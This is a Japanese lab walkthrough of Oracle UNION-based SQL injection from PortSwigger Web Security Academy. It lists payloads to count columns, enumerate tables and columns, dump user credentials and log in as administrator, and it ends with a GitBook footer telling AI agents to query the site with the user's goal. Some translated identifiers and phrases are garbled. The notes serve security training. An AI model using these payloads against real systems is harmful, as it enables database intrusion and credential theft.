> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/database-enumeration-on-oracle.md).

# Oracleデータベース列挙

PortSwigger Web Security Academy のラボ向けメモ。Oracleデータベース列挙に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### SQLインジェクション攻撃、Oracle上のデータベース内容の列挙

* **背景 / 脆弱性:** `カテゴリ` SQLインジェクションに脆弱なフィルター（結果はレスポンスで返される）。使用して `ORDER BY` / `UNION` Oracleのシステムビューの列挙とデータ抽出を可能にする。
* **目的：** ユーザーテーブルを特定し、その列を列挙し、抽出する `username` / `パスワード` ペアを取得し、〜として接続する `administrator`.

### 簡潔な手順（ペイロードあり）

1. **列数を決定する**/ テスト `ORDER BY` エラーが出るまで段階的に:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. UNION SELECTを検証する（元のリクエストと同じ列数）:

```sql
' UNION SELECT '1','2'-- -
```

3. **テーブルを列挙（Oracle）** — 使用 `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

（調整 `NULL`/列数（脆弱なクエリに応じて）。

4. 特定したテーブルの列を列挙（ここでは USERS/ JREIFY）:

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

注: Oracleは大文字で記載されていない名前を正規化する。

5. 内容を抽出（ダンプ）— 列を特定した例:

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

順序/型を調整し、使用 `TO_CHAR`, `CAST` または `NULL` 必要に応じて型を一致させる。

6. **管理者ログイン**

* 流出した認証情報をログインページで使用する。
* あるいは、必要なら列が確認できた後に認証バイパスを実行する。

役立つ技術的詳細

* 型の違いでUNIONが失敗する場合は、互換性を強制するために列をnullまたはTO/ CHAR(col)に置き換える。
* メタデータの公開ビュー（ALL/ TABLES、ALL/ TAB/ COLUMNS、DBA/ /\*）はDBアカウント権限によって制限される場合がある。アクセスはアプリケーション権限により異なる。
* Oracleでは、テーブルが引用符付きで作成されていない限り、比較のために名前を大文字で指定する必要があることが多い。table/ name = 'USERS/ JREIFY'

影響

* 識別子の互換性、アクセス権の拡大、データの持ち出し/改ざん、アプリケーションの完全制御。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
